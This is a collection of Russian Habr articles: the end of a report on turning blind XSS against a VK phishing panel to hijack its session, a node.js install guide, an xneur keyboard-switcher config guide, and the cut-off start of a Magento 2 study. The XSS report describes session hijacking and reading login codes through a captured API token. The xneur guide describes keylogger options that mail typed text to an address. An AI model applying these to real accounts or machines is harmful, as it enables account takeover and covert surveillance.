Вместо этого я предположил, что данные, которые жертвы отправляют в форму, затем где-то отображаются, и фильтрация там отсутствует, и, значит, что вместо логина/пароля можно отправить "вредоносный" HTML+JS, или в простонародье [Blind XSS](https://habr.com/ru/company/jetinfosystems/blog/450780/). Слепой она называется, потому как факт его отрабатывания мы зафиксировать сразу не можем — только если на неё наткнется администратор/модератор по ту сторону. Спустя день изучаем наш [xsshunter](https://xsshunter.com) — будничное действие для многих багбаунти хантеров. Это довольно простой и понятный ресурс для проверки на слепые XSS, который сразу может предоставить тебе: 1. url, где произошло срабатывание; 2. IP; 3. Cookie; 4. Dom-страницы; … и еще по мелочи. Но в целом все тоже самое можно организовать, отправляя эти данные к себе, скажем, на VPS. Нас интересует тот факт, что blind XSS-таки отработала успешно. ![](https://habrastorage.org/r/w780q1/webt/mu/sv/q7/musvq7pxmndj2_unf2xersbfzai.jpeg) Исторически, упоминая XSS всегда предлагалось "красть сессию" (содержимое document.cookie). Но в современном мире, как правило такое уже не работает — сессионные куки выставляются с заголовком "[httpOnly](https://owasp.org/www-community/HttpOnly)", что делает их недоступными для вредосного JS. Но XSS все еще опасны, по-прежнему можно обращаться к API сайтов в контексте уязвимого сайта, воровать данные со страницы (токены), хоть это и чуть более сложно. Но злоумышленники не озаботились безопасностью сессии, поэтому мне удалось "угнать" сессию целиком. Заходим на хост, меняем сессионную куку, попадаем внутрь. Здесь в глаза бросаются, помимо логинов и паролей, тот факт, что панель не рассчитана на одного человека — а монетизируется продажей доступа туда. ![](https://habrastorage.org/r/w780q1/webt/5t/xl/mf/5txlmf1ssmq5n2xofgynd1dpsgo.jpeg) ![](https://habrastorage.org/r/w780q1/webt/em/p4/1d/emp41dbbcar9nhd5d4_ccrvwo20.jpeg) К созданию подошли почти с душой. Не забыли добавить bootstrap с кнопочками, а также весьма расширенный функционал, а именно: Выгрузка с различных форматах: ![](https://habrastorage.org/r/w780q1/webt/ub/51/nq/ub51nqvcoimp2caihro6_9wjxau.jpeg) Прокси: ![](https://habrastorage.org/r/w780q1/webt/e-/gt/pk/e-gtpkne9tblll92mzbn8qzfavi.jpeg) Ключи для API: ![](https://habrastorage.org/r/w780q1/webt/_p/o3/yg/_po3yguqlhyluck5vqz-p1po4no.jpeg) Логи выгрузов с IP. ![](https://habrastorage.org/r/w780q1/webt/cu/6f/mw/cu6fmwytdtvhogbx_uqfzdmcgvi.jpeg) Также такие панельки позволяют автоматически создавать хосты с выбранным содержанием, которое может привлечь пользователей, а именно: ![](https://habrastorage.org/r/w780q1/webt/mh/iy/k-/mhiyk-97msqycyrzjccu0prkxls.jpeg) ![](https://habrastorage.org/r/w780q1/webt/rr/2d/we/rr2dwe2wr7sgymm9jwevs9qok2w.jpeg) Пример добавления и существующие хосты на аккаунте: ![](https://habrastorage.org/r/w780q1/webt/29/tn/0m/29tn0muqmezjigkpbt4rydwogsg.jpeg) ![](https://habrastorage.org/r/w780q1/webt/5s/0y/0m/5s0y0mstn6gnuhr3wtrumhbdbs0.jpeg) А вот, как выглядят классические сгенерированные страницы: ![](https://habrastorage.org/r/w780q1/webt/8m/3h/jd/8m3hjdesm_xycdhs6wqcmf2eczo.jpeg) ![](https://habrastorage.org/r/w780q1/webt/xo/rq/se/xorqsej2qjhxqwachdjrfqpmbiq.jpeg) ![](https://habrastorage.org/r/w780q1/webt/hy/my/rq/hymyrqpxcqtxy-fzzhdyvoah9ig.jpeg) … и многие другие. Разработчики фишинговой панели активно используют имеющееся API Вконтакте, например выгружают количество друзей, подписчиков, проверяют права администрирования в пабликах, и.т.д, например такие как execute.getDialogsWithProfilesNewFixGroups.php, примеры методов: <https://vk.com/dev/execute> Довольно примечательным являлась следующая ситуация. Если зайти в аккаунт Вконтакте используя логин и пароль — велика вероятность словить подозрение от VK с просьбой ввести отправленный в личные сообщения код. Однако при помощи их методов и access-токена, никаких проблем с этим не было, и тот же самый код можно было прочитать через этот функционал. Выглядело это примерно так: ``` GET /method/execute.getDialogsWithProfilesNewFixGroups?access_token=****b750be150c961c******ace8d9dd54e448d5f5e5fd2******7e21388c497994536a740e3a45******⟨=ru&https=1&count=40&v=5.69 HTTP/1.1 Host: vk-api-proxy.xtrafrancyz.net ``` ``` HTTP/1.1 200 OK Date: Tue, 03 Mar 2020 09:57:08 GMT Content-Type: application/json; charset=utf-8 Connection: close Vary: Accept-Encoding Server: vk-proxy X-Powered-By: PHP/3.23359 Cache-Control: no-store X-Frame-Options: DENY Access-Control-Allow-Origin: * Content-Length: 57453 {"response":{"a":{"count":271,"unread_dialogs":151,"items":[{"message":{"id":592***,"date":1583222677,"out":0,"user_id":14967****,"read_state":1,"title":"","body":"Код подтверждения входа: 063725.","owner_ids":[]},"in_read":592***,"out_read":592***} ``` ВК помнит, откуда пользователь обычно заходит на сайт. Предположительно, поэтому мошенники такое тоже предусмотрели и использовали различные прокси серверы разбросанные географически — чтобы "попасть" в туже зону, где обычно находится жертва. Этим объясняется тот факт, что при попытке проверить пару логин+пароль не вышло без лишних вопросов от ВК, однако сработало через их функционал, использующий прокси. Это если говорить о том, как шагают и что предпринимают фишеры, чтобы атаковать пользователей, в поисках аккаунтов с большим количеством подписчиков и друзей, а также администраторов сообществ. На самом деле, один из возникающих вопросов, это что делать дальше в таких ситуациях? В общем-то, я собрал те фишинговые хосты и утёкшие аккаунты, помимо тех, что были видны в интерфейсе, также те, что были видны по эндпоинту с кучей мусора: непроверенный акков, оскорблений в сторону фишеров, и тихой записью с blind xss пейлоадом, что в дальнейшем было передано ребятам из VK по рекомендации и помощи [Bo0oM](https://habr.com/ru/users/bo0om/), которые, скорее всего, в свою очередь проводят стандартную процедуру внесения этих сайтов в запрещенные, и сбросы паролей. Также пошел процесс complaint'ов в сторону фишинговых хостов и панельки. Подавляющая часть была скрыта за cloudflare'ом, поэтому пришлось написать им. Этот процесс, к слову, весьма неудобный и отбивающий желание репортить такие сайты, т.к почему-то Cloudflare не хочет принимать жалобу на почту, но хочет принимать жалобу через <https://www.cloudflare.com/abuse/form>, причем не несколько хостов за раз — а каждый раз отдельно на 1 url ¯ \ *(ツ)* / ¯ Но все же в их пользу стоит сказать — что бан они выдавали за 10 минут. ![](https://habrastorage.org/r/w780q1/webt/5p/eu/n8/5peun8dsm3nzt7iyo-fqmkvsaps.jpeg) После чего некоторые из хостов начали выходить из под клаудфлеера, обнажая уже и хостинг, куда также была подана соответствующая информация. UPD: Также была передана соответствующая информация и в QIWI с Yandex, для проверки уже кошельков.
https://habr.com/ru/post/491150/
null
ru
null
# Установка node.js на Linux, FreeBSD, Windows [node.js](http://nodejs.org/) — серверный асинхронный Javascript, превосходный инструмент для создания серверной части COMET приложений, в частности, для игрушек, чатов, и других высоконагруженных проектов, использующий синтаксис Javascript, прекомпилируемый в машинный код, работающий на скорости, сравнимой с кодом на C++, очень быстрый, способный держать 10 — 12 тысяч подключений, и не создающий отдельного процесса/не интерпретирующий себя заново/не запускающий процесс при каждом новом клиенте. Использует в качестве основы V8 — движок Javascript от Google. Удобные возможности, можно установить значение переменной при одном посетителе, и считать это значение при ответе другому. Обращаю внимание на то, что если вы не программировали, например, на Python или Ruby, только на PHP, не обходите его стороной, это не ещё один незнакомый язык. И в этом его преимущество — Javascript — знакомый язык, особенно для тех, кто программировал на PHP+Javascript, но PHP не позволял очень многих вещей, особенно в связке с Apache, например, аплоад файлов с полосой загрузки (без Flash), возможность низкоуровневого управления сетью (возможность написать, например, клиента или сервер Mysql или прокси-сервер вроде nginx). О гибкости языка говорит тот факт, что расширения для работы с MySQL, например, написаны на самом Javascript. Я планировал написать статью с описанием этой замечательной системы, с примерами, но на момент чтения читателю хорошо бы иметь под рукой установленную версию node.js. Поэтому этот пост о том, как установить node.js, в том числе и на Windows, что актуально в связи с недавним появлением порта под cygwin. (Да, есть информация о том, где скачать node.exe) #### Важное замечание. В первую очередь хочу обратить внимание на то, что с развитием node.js его синтаксис менялся, порой несколько раз. В связи с этим, категорически не рекомендую использовать старые версии node, проскальзывающий недавно node.NET, и подобные сборки. Идеально — версия 0.1.90 или новее. По той же причине будьте внимательны при нахождениии в сети туториалов по установке. Те, что начинаются с wget <http://s3.amazonaws>… загрузят устаревшую версию. Перед установкой убедитесь в том, что python установлен, он нужен для конфигурации и сборки с помощью make (актуально для всего, кроме Windows в некоторых случаях). #### GNU/Linux Под Linux node.js ставится проще всего. Заходим на [nodejs.org](http://nodejs.org) Копируем ссылку на исходники `wget http://nodejs.org/dist/node-v0.1.97.tar.gz tar -xvf node-v0.1.97.tar.gz //либо делаем так git clone git://github.com/ry/node.git (если git есть) cd node* ./configure make make install` Хабрахабр советует в коментариях: [Programmer](https://habrahabr.ru/users/programmer/) > Лучше было бы собрать как минимум при помощи checkinstall > > `checkinstall --fstrans=no --install=no --pkgname=node.js --pkgversion "0.1.97" --default` > > Логика подсказывает, что под MacOS установка будет аналогичной, проверить не могу. Разработчики тестируют своё детище на MacOS, работать должно без проблем. #### FreeBSD У меня VDS на FreeBSD, и поэтому для меня эта система наиболее актуальная. Вместе с тем, разработчики не тестируют node.js на FreeBSD, поэтому возможны некоторые проблемы. Перед установкой необходимо убедиться в наличии libexecinfo. Ставится он так: `cd /usr/ports/devel/libexecinfo make install` Так же подсказали, [hilobok](https://habrahabr.ru/users/hilobok/): > На FreeBSD чтобы не собирать libexecinfo из портов достаточно сделать: > > pkg\_add -r libexecinfo ###### Итак, классический способ#1 `cd /usr/ports/www/node make make install` Тот, что доктор прописал, рекомендуется всем. Тем, кто не знал о том, что node присутствует в портах — знайте. ###### Способ#2 Если у портах node отсутствует, можно попытаться установить с помощью классического способа, описанного выше (под Linux): wget или git clone; tar -xvf; configure; make и т.д. Но, судя по всему, таким способом не выйдет установить node на 64-битную систему. ###### Способ#3 Если возникли какие-либо проблемы (а у меня возникали), есть очередной способ. Заходим на страницу [www.freebsd.org/cgi/query-pr.cgi?pr=145641](http://www.freebsd.org/cgi/query-pr.cgi?pr=145641) Скачиваем файл node-0.1.90.shar Или создаём файл node-0.1.90.shar и заполняем его содержимое вручную (для тех, у кого wget споткнётся о знак амперсанда в url, и не хочется разбираться, в чём дело). Говорим: `sh node-0.1.90.shar cd node make make install` Подобные файлы (.shar), ежели они будут появляться впоследствии, можно будет найти тут: [b23.ru/exxw](http://b23.ru/exxw) ###### Способ от [AterCattus](https://habrahabr.ru/users/atercattus/) > При сборке под FreeBSD 8.0\_RELEASE amd64 с первого раза не собралось: > > `...obj/release/cpu-profiler.o(.text._ZN2v88internal23ProfilerEventsProcessor19FunctionCreateEventEPhS2_i+0x81): In function `v8::internal::ProfilerEventsProcessor::FunctionCreateEvent(unsigned char*, unsigned char*, int)': > > : undefined reference to `v8::internal::OS::ReleaseStore(long volatile*, long)' > > obj/release/cpu-profiler.o(.text._ZN2v88internal23ProfilerEventsProcessor15CodeCreateEventENS0_6Logger16LogEventsAndTagsEiPhj+0xa3): more undefined references to `v8::internal::OS::ReleaseStore(long volatile*, long)' follow > > scons: *** [obj/release/mksnapshot] Error 1 > > scons: building terminated because of errors. > > Waf: Leaving directory `/home/atercattus/node.js/node-v0.1.97/build' > > Build failed: -> task failed (err #2): > > {task: libv8.a SConstruct -> libv8.a} > > *** Error code 1` > > Помогла эта ссылка: [code.google.com/p/v8/issues/detail?id=726](http://code.google.com/p/v8/issues/detail?id=726). > > Там все просто, в v8/src/platform-freebsd.cc добавляется между int OS::ActivationFrameAlignment() и const char\* OS::LocalTimezone(double time) реализация недостающей функции: > > `void OS::ReleaseStore(volatile AtomicWord* ptr, AtomicWord value) { > > __asm__ __volatile__(""::: «memory»); > > *ptr = value; > > }` > > Может кому поможет. ###### Обновление на момент 11 июня Вышеприведённый патч не актуален для последней версии из git — само прекрасно компилится под freebsd-amd64 #### Установка под Windows Забудьте про .NET версию, по крайней мере, до появления порта версии 0.1.90 (см. примечание выше). Придётся использовать Cygwin. Тут есть два способа — находите, качаете, ставите Cygwin, добавляете python, g++, другие зависимости, возможно правите ручками исходники node… Если есть время и желание — пожалуйста, в таком случае Cygwin-совместимый порт брать [тут](http://github.com/raff/node). Я предлагаю более простой вариант: Скачиваем архив с прекомпилированным node.exe: [drop.io/2dwcadi](http://drop.io/2dwcadi) или [dl.dropbox.com/u/626643/node-cygwinx86.zip](http://dl.dropbox.com/u/626643/node-cygwinx86.zip) — зеркало на dropbox. Это последняя версия, доступная для Cygwin (0.1.95), кроме того, для неё cygwin и не нужен (она portable). Распаковываем. Есть еще один запасной вариант, через colinux: [bit.ly/9hCjHO](http://bit.ly/9hCjHO) Примечание: [azproduction](https://habrahabr.ru/users/azproduction/): > Для пользователей windows (если у вас node.exe и server.js лежат в разных местах) команда для запуска из-под Cygwin версии будет: > > `node.exe /cygdrive/буква_диска/путь/до/скрипта/server.js` > > относительные пути не понимает, windows пути с любыми слэшами тоже не понимает. Также небольшой апдейт — на данный момент (11 июня) из-под cygwin можно собирать оригинальный node.js, скачав его с помощью git. #### Тест — драйв Для запуска создаём файл, например, server.js. Содержимое-образец можно взять на [nodejs.org](http://nodejs.org/). В cmd переходим в распакованную папку и говорим: `node.exe server.js` В \*nix аналогично, переходим в распакованную папку и говорим: `node server.js` Обращаю внимание, что тормоз в две секунды в примере — это не тормоз, а специальная отсрочка отдачи, реализованная через setTimeout, просто в качестве демонстрации возможностей. Мой любимый пример немного другой: `var sys = require('sys'), http = require('http'); var i=0; http.createServer(function (req, res) { i++; res.writeHead(200, {'Content-Type': 'text/plain'}); res.write('Hello World'+i+'\n'); res.end(); }).listen(8000); sys.puts('Server running at 127.0.0.1:8000/');` Обратите внимание на инкремент переменной при обновлении страницы. Чтобы выключить сервер/перезагрузить с другим скриптом, нажмите Ctrl+C (и заново запустите node). Обратите внимание, что если вы запустите node через putty, например, то при закрытии консоли node выключится. Я думаю, разобраться в этом несложно, самый простой вариант — запускать screen, либо демонизировать процесс, добавив node в /etc/init.d, выключая при помощи команды stop или killall node. Подробнее о такой установке (на английском) [тут](http://kevin.vanzonneveld.net/techblog/article/run_nodejs_as_a_service_on_ubuntu_karmic/). Это всё. #### Настройка nginx Далее, ваш сервер, скорее всего, будет работать на 80 порту, а node, например, на 8000. Чтобы было удобнее писать скрипты с красивыми адресами, настраиваем nginx, прописывая в конфиге: `location /ajax/ { proxy_pass http://127.0.0.1:8000/; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }` Как замечено в комментариях, эта конструкция не подходит для настоящих проектов, и надо настраивать Timeout, размеры сообщений, и т.д. кроме того, всё равно придётся настраивать количество одновременнызх подключений в самой системе. Т. е. эта конструкция подходит для ознакомления и для тестирования. Теперь при запросе [example.com/ajax](http://example.com/ajax/) содержимое отдаст node.js. Обратите внимание, скрипт, запущенный в node в таком случае определит url не как равным '/ajax/', а именно как '/'. На этом можно остановиться, получив рабочий node.js, можно начинать его трогать ручками. Эта штука — действительно замечательна. Напоследок несколько ссылок: [nodejs.org/api.html](http://nodejs.org/api.html) Документация [kuroikaze85.wordpress.com/all-node-js-entries](http://kuroikaze85.wordpress.com/all-node-js-entries/) — Сборник статей о node хабрачеловека Сергея Широкова ([kurokikaze](https://habrahabr.ru/users/kurokikaze/)). [howtonode.org](http://howtonode.org/) — статьи и заметки на английском Тима Касвелла (Tim Caswell aka creationix).
https://habr.com/ru/post/95960/
null
ru
null
# X Neural Switcher — Поваренная книга ![](https://habrastorage.org/r/w1560/storage1/e296a6f6/32a5a6e9/b9c5be5b/4fa20101.png)Приветствую. Я являюсь автором программы для автоматического переключения раскладки клавиатуры, работающей под Linux. Эта программа xneur или **X Neural Switcher**. Когда я начинал заниматься этой программой, ничего вменяемого для замены Punto Swither для linux не было. Обратите внимание, я писал ее лично для себя, у меня почти всегда все работает. Я выкладываю ее в общий доступ только потому, что программа полезна людям. В дальнейших статьях я разберу существующие (и существовавшие) аналоги, и поясню, почему они все являются тем, чем пользоваться нельзя, и какая клевая программа xneur. Занимаюсь я программой от силы один час в неделю, поэтому корить меня за медленную разработку глупо. Деньги я зарабатываю тоже программированием, но совсем не связанным с linux. За прошедшие 6 лет, я периодически натыкался на специфические баги как Xlib, так и DE, c которыми приходилось находить взаимопонимание. Сейчас я хочу рассказать о приготовлении xneur, описать настройки и поделиться «маленькими футбольными хитростями». Эта часть статей под номером 0 посвящена самому простому — описанию. Вы удивитесь, как много xneur умеет из того, что не умеет Punto. Для тех кто долго пробовал, но не осилил. Я всегда открыт к диалогу. Если что-то где-то не работает, сообщите мне всю необходимую информацию, и я постараюсь решить вашу проблему. #### Что такое X Neural Switcher. **X Neural Switcher** — программа для автоматического переключения раскладок клавиатуры, в зависимости от набираемого текста. Т.е. при наборе текста, если он набирается не в той раскладке, которую вы ожидаете, xneur автоматически (или по запросу) переключит язык на нужный. При работе в автоматическом режиме, xneur автоматически определяет раскладку вводимого текста и изменяет язык за вас. В этом режиме предусмотрена возможность задания приложений исключений, в которых автоматический режим будет заменён на ручной. При работе в ручном режиме xneur не отслеживает набор, но позволяет автоматически изменять раскладку последнего набранного слова (кнопка Pause/Break), последней набранной строки (сочетание клавиш Ctrl + Break), выделенного текста (сочетание клавиш Shift + Break) и другие полезные функции. Все приведённые выше сочетания клавиш работают и в автоматическом режиме. Если по каким-либо причинам вас не устраивают преднастроенные комбинации — вы всегда сможете поменять их в настройках программы. Также программа позволяет создавать собственные сочетания клавиш для запуска любых приложений. На данный момент программа поддерживает восемнадцать языков: Армянский, Белорусский, Болгарский, Чешский, Грузинский, Немецкий, Греческий, Английский, Эстонский, Французский, Казахский, Литовский, Латвийский, Польский, Молдавский (Румынский), Русский, Испанский, Украинский и Узбекский. Для вышеприведённых языков в программе имеются алгоритмы эвристического анализа, но, тем не менее, программа может работать и с другими языками, если для нее существуют словари aspell или myspell. #### Основные возможности программы. * Переключение. Автоматическое или ручное переключение раскладки. При этом xneur умеет самообучаться, что иногда полезно для трудных слов, которые не попадают ни под словарные слова, ни под эвристический анализ, например, падонкаффский сленг или лично ваши любимые коверканья слов. * Типографика. Xneur умеет помогать вам превращать текст в более облагороженный вид. Например, превращать «ТАкое» слово в «такое», или отключить случайно включённый Капс, или заменить два пробела на запятую, или превратить ®, (tm) или © в красивые ®, ™ или ©. * Вы можете указывать одну раскладку для всех копий приложения, или в каждой использовать свою личную. * Для стандартных действий переключения вы можете назначить свое сочетание клавиш. Более того, вы можете назначить сочетание клавиш для своих скриптов или запуска приложений. * Вы можете назначить свою комбинацию клавиш для включения определённой раскладки или переключения их по кругу. * Если вам лень набирать слова полностью, вы можете воспользоваться автодополнением. Xneur запомнит часто набираемые слова и дополнит не полностью набранное слово. * Вы сами можете указать приложения, в которых xneur будет работать в автоматическом, ручном режиме, или не будет работать вообще. * Если вам будет так удобно, вы можете настроить звуковое оформление нажатий клавиш или прочих событий, вывести экранные или всплывающие уведомления о переключении. * Когда вам приходится часто набирать один и тот же текст, вы можете попробовать использовать замену сокращений. Набрав «пр» и нажав свою комбинацию клавиш, вы отправите собеседнику «Привет. Дела нормально :)». Ведь так лень отвечать на тупые вопросы. * В xneur есть дневник. В любой момент мы можете посмотреть лог набранного текста с разбивкой по дате и по приложению, в котором оно было набрано. Да, это вариант кейлоггера. Потом я расскажу, как настроить xneur в качестве кейлоггера. * Если вы часто играете в полноэкранные игры, вы можете отключить xneur во всех полноэкранных приложениях. * Ну так вот. ВСЕ возможности xneur отключаемы! Не нравится какая-то опция — просто выключите её. Таким образом, если вы освоите тонкую настройку, вы всегда приготовите xneur по своему вкусу. #### Установка программы. Исходные тексты последних версий xneur и gxneur доступны на [xneur.ru/downloads](http://xneur.ru/downloads/) Для установки из исходников вам понадобится наличие следующих пакетов (привожу способ уcтановки пакетов для Ubuntu, но вы сами поймёте, что надо установить): `sudo apt-get install build-essential automake1.9 libtool flex libx11-dev libgstreamer0.10-dev libopenal-dev libpcre3-dev libnotify-dev zlib1g-dev libaspell-dev libxosd-dev libenchant-dev` Для сборки gxneur (интерфейса для настройки) еще надо ставить вот эти пакеты: `sudo apt-get install libglade2-dev libgtk2.0-dev libgconf2-dev libappindicator-dev` Установка осуществляется стандартным набором команд (опять же я привожу для Ubuntu). ``` ./configure make sudo make install ``` Для удаления программы, установленной таким образом, можно использовать команду ``` sudo make uninstall ``` Теперь разберем опции конфигурации программы, на тот случай, если у вас недостает каких-то пакетов или вы просто хотите их отключить. Для справки вы можете использовать ./configure --help. * **--with-sound[=ARG]** Сборка программы с ARG=[yes|no|gstreamer|openal|aplay] [default=yes]. Т.е. На выбор для звукового оформления вы можете использовать следующие движки: Gstreamer (по умолчанию), OpenAL или утилиту aplay. * **--with-debug** Сборка программы с внутренним дебагом, покажущим в консоли места утечек памяти в программе. * **--without-keylogger** Сборка программы без функций кейлоггера (для параноиков) * -**-with-spell[=ARG]** Сборка программы с использованием движка словарей enchant (используется в LibreOffice, firefox и др.) или aspell, или вообще без поддержки словарей. (ARG=[yes|no|enchant|aspell] [default=yes] * ) * **--without-xosd** Сборка программы без поддержки экранных уведомлений xosd. * **--without-libnotify** Сборка программы без поддержки всплывающих сообщений. * **--without-plugins** Сборка программы без поддержки плагинов. Но так как собирать программу из исходников всем лень, у меня есть два PPA для пользователей Ubuntu. `sudo add-apt-repository ppa:andrew-crew-kuznetsov/xneur-stable` `sudo add-apt-repository ppa:andrew-crew-kuznetsov/xneur-unstable` Первый репозиторий содержит базовые релизы, второй содержит роллинг-релизы (ночные сборки). #### Описание параметров конфигурации. Теперь разберем то, что позволит нам тонко настроить xneur, а именно его конфигурационный файл. Разберем его по опциям. Я дам краткое описание каждой опции и объясню в каких случаях его лучше использовать. **Version 0.15.0** Описывает текущую версию программы. По большей части, вообще ни на что не влияет. **ManualMode No** Опция ручного режима. Если установлено в значение Yes, то автоматическое переключение будет отключено везде, кроме приложений указанных в соответствующей настройке. **LogLevel Trace** Уровень сообщений, которыми xneur будет сыпать в консоль. Error — это только ошибки. Warning — предыдущее, плюс предупреждения о неполадках, не влияющих на работу программы. Log — предыдущее, плюс чуть больше. Debug — предыдущее, плюс отладочные сообщения программы. Trace — предыдущее, плюс вообще все, что в xneur происходит. **ExcludeLanguage de** Опция позволяет множественное применение и служит для указания раскладки с которой и на которую переключение осуществляться не будет. **DefaultXkbGroup 0** Определяет раскладку по умолчанию для вновь запущенных приложений. **ExcludeApp rdesktop** С помощью этой опции вы можете целиком исключить приложение из обработки. Допускается множественное использование. **SetAutoApp Gedit** Эта опция определяет приложения, в которых будет принудительно включен автоматический режим переключения вне зависимости от опции ManualMode. **SetManualApp Anjuta** Эта опция определяет приложения, в которых будет принудительно включен ручной режим переключения вне зависимости от опции ManualMode. **AddBind Action Key** Определяет клавишу для того или иного действия по переключению раскладки или прочего. Список Action имеется в вашем конфигурационном файле. **AddAction Control Alt f Firefox Browser firefox** Определяет клавишу для выполнения пользовательского действия. **ReplaceAbbreviation ini Андрей Crew Кузнецов** Определяет список аббревиатур для замены сокращений. **ReplaceAbbreviationIgnoreLayout Yes** Определяет учитывать ли текущую раскладку при замене сокращений. Если установлена в значение Yes, то программа заменит сокращение «йц» и «qw» на «йцукен». **PlaySounds No** Включает или выключает звуковое сопровождение. **SoundVolumePercent 15** Определяет уровень громкости звуков программы а процентах от системного уровня громкости. **AddSound AutomaticChangeWord Enable /usr/share/xneur/sounds/itemback.wav** Эта опция указывает для какого действия и какой звук использовать. Список действий, на которые можно повесить уведомление, имеется в вашем конфигурационном файле. **EducationMode Yes** Тут просто. Включить или нет самообучение программы вашему лексикону. **LayoutRememberMode Yes** Запоминать раскладку для каждого окна или одна раскладка для всех окон? Решать вам. **LayoutRememberModeForApp Wine** Эта опция заставит xneur принудительно использовать одну раскладку для всех окон приложения. У меня везде в Wine стоит общая раскладка. **SaveSelectionMode Yes** Вы выделили и изменили текст с помощью xneur. Если опция включена, то выделение сохранится после изменения, сделав возможным дальнейшее переключение. **RotateLayoutAfterChangeSelectedMode No** Определяем, переключить ли системную раскладку, если исправлен выделенный текст. **SendDelay 0** Задержка перед отправкой перехваченного нажатия клавиши обратно приложению. **LogSave Yes** Включаем кейлоггер, т.е. сохраняем набранный текст в файл. **LogSize 10000000** Определяем размер файла с логами (в байтах). **LogMail to\_me@mail.ru** Если опция определена, то именно на этот емайл будет отсылаться лог набранного текста. **LogHostIP 127.0.0.1** Хост, который предоставляет услуги емайл (почтовый сервер для отправки, не требующий логина и пароля). Возможно указание не ip, а имени. **LogPort 25** Порт почтового сервера. **CorrectIncidentalCaps Yes** Опция для исправления сЛУЧАЙНОГО капса. **CorrectTwoCapitalLetter Yes** Опция для исправления ДВух прописных букв. **CorrectCapitalLetterAfterDot Yes** Исправляет строчную букву на прописную после точки или восклицательного знака. **CorrectTwoSpaceWithCommaAndSpace Yes** Исправляет двойной пробел на запятую. **CorrectTwoMinusWithDash Yes** Исправляет двойной минус на тире. **CorrectCWithCopyright Yes** Исправляет © на © **CorrectTMWithTrademark Yes** Исправляет (tm) на ™. **CorrectRWithRegistered Yes** Исправляет ® на ®. **FlushBufferWhenPressEscape Yes** Если опция включена, то при нажатии Escape внутренний буфер переключений будет сброшен. **FlushBufferWhenPressEnter No** Если опция включена, то при нажатии Enter внутренний буфер переключений будет сброшен. **DontProcessWhenPressEnter No** Слово не будет обрабатываться, если нажат Enter, что удобно в мессенджерах. **ShowOSD No** Показывать экранные сообщения. Устарело. **FontOSD -\*-\*-\*-\*-\*-\*-32-\*-\*-\*-\*-\*-\*-u** Выбор шрифта для экранных сообщений. Устарело. **AddOSD XneurStart Enable X Neural Switcher запущен** Эта опция указывает для какого действия и какое экранное сообщение использовать. Список действий, на которые можно повесить уведомление, имеется в вашем конфигурационном файле. **ShowPopup Yes** Показывать всплывающие сообщения. **PopupExpireTimeout 1500** Интервал показа всплывающих сообщений. В данной реализации библиотеки показа не работает. **AddPopup XneurStart Enable X Neural Switcher запущен** Эта опция указывает для какого действия и какое всплывающее сообщение использовать. Список действий, на которые можно повесить уведомление, имеется в вашем конфигурационном файле. **CheckOnProcess Yes** Проверять слово на лету или после нажатия Entrer. Я предпочитаю на лету. **DisableCapsLock Yes** Отключить Капс совсем. **CorrectSpaceWithPunctuation No** Удаление пробелов перед знаками пунктуации. **Autocompletion Yes** Включение автодополнения слов. **AddSpaceAfterAutocompletion No** Добавление пробела после автодополнения. **AutocompletionExcludeApp Gnome-terminal** В этих приложениях автодополнение будет отключено. **TroubleshootBackspace No** Отключит автопереключение, если нажат Backspace. **TroubleshootLeftArrow Yes** Отключит автопереключение, если нажата стрелка влево. **TroubleshootRightArrow Yes** Отключит автопереключение, если нажата стрелка вправо. **TroubleshootUpArrow Yes** Отключит автопереключение, если нажата стрелка вверх. **TroubleshootDownArrow Yes** Отключит автопереключение, если нажата стрелка вниз. **TroubleshootDelete No** Отключит автопереключение, если нажат Delete. **TroubleshootSwitch Yes** Отключит автопереключение, если вы переключили раскладку. **TroubleshootFullScreen Yes** Отключит автопереключение, если приложение в полноэкранном режиме. **CompatibilityWithCompletion Yes** Костыль для совместимости с автодополнением в других приложениях. **TrackingInput Yes** Отключение этой опции приведет к полному отказу программы от перехвата клавиатуры. **TrackingMouse Yes** Отключение этой опции приведет к полному отказу программы от перехвата мыши. **DontSendKeyRelease No** Не отправлять событие клавиатуры KeyRelease. Очень специфичная штука, лучше не менять значение опции. #### Что дальше? В дальнейшем планирую рассказать о: * Алгоритмы xneur. * Xneur как кейлоггер, с примером рабочего конфига. * Ну и прочее интересное о xlib, программах под linux и всем таком. #### Следующие части [X Neural Switcher — Поваренная книга (Часть 1). Предтечи и аналоги](http://habrahabr.ru/blogs/linux/132684/) [X Neural Switcher — Поваренная книга (Часть 2). Алгоритмы](http://habrahabr.ru/blogs/linux/132851/)
https://habr.com/ru/post/132635/
null
ru
null
# Magento 2: минимальная инсталляция и зависимости — исследование Привет. Я занимаюсь back-end / full-stack разработкой на Magento 2 уже 3.5 года. Все эти годы у меня никак не хватает сил и времени перетащить один свой старый (но всё еще довольно популярный) проект с убогого Web-CMS uWeb на что-то более-менее толковое, поддерживаемое и расширяемое. Идей было много - писать с нуля на Symfony, изучать Drupal и делать на нем, привлекать React JS... Но всё это требует значительных временных затрат и от этих идей приходилось отказываться. И вот недавно мне в голову пришла другая (совсем уж безумная?) идея: а что если использовать Magento 2 как каркас для моего кастомного проекта, пусть он даже и не E-commerce? Тут конечно на ум приходят вполне логичные возражения - вроде сомнительной эффективности E-commerce CMS для не-магазинов, стрельбы из пушки по воробьям (проект не особо большой), низкой производительности/высоких требований к железу и т. д. Но и теоретические плюсы я для себя в такой разработке вижу: * не надо тратить время на изучения нового стека технологий или фреймворка; * модульность, грамотно построенная эко-система, наличие наработанных best practices; * большое коммьюнити и наличие ответов на практически любые вопросы в интернете. Ну и на самом деле мне в большей степени даже стало просто интересно, на что способна Magento, и можно ли установить какой-то минимальный набор её пакетов, чтобы использовать её больше как фреймворк, а не как CMS (но и в этом плане тоже - например, модуль админки). Помню, на одной из конференций по Magento был доклад, в котором разработчик рассказывал о своём опыте максимального облегчения Magento 2 путем отключения всего, что можно отключить. Я же пошел другим путём: моя идея - попытаться не устанавливать то, в чем нет необходимости для запуска сайта. Критерием работоспособности я взял успешную загрузку frontend и backend областей сайта. Далее расскажу о своём опыте ручной установки пакетов Magento 2 и попытках запуска минимальной необходимой функциональности. Исходные данные --------------- Имеем Ubuntu 20.04, nginx 1.18.0, PHP-FPM 7.4.22, MariaDB 10.3.30, Composer 2.1.5 Предварительно по стандартной процедуре у меня была установлена версия Magento CE 2.4.2-p1, чтобы видеть, какие настройки используются в composer.json. Разворачивается она очень легко: ``` composer create-project --repository-url=https://repo.magento.com/ magento/project-community-edition ``` Далее, чтоб было интереснее, я отключил все лишние модули PHP, оставив только указанные в 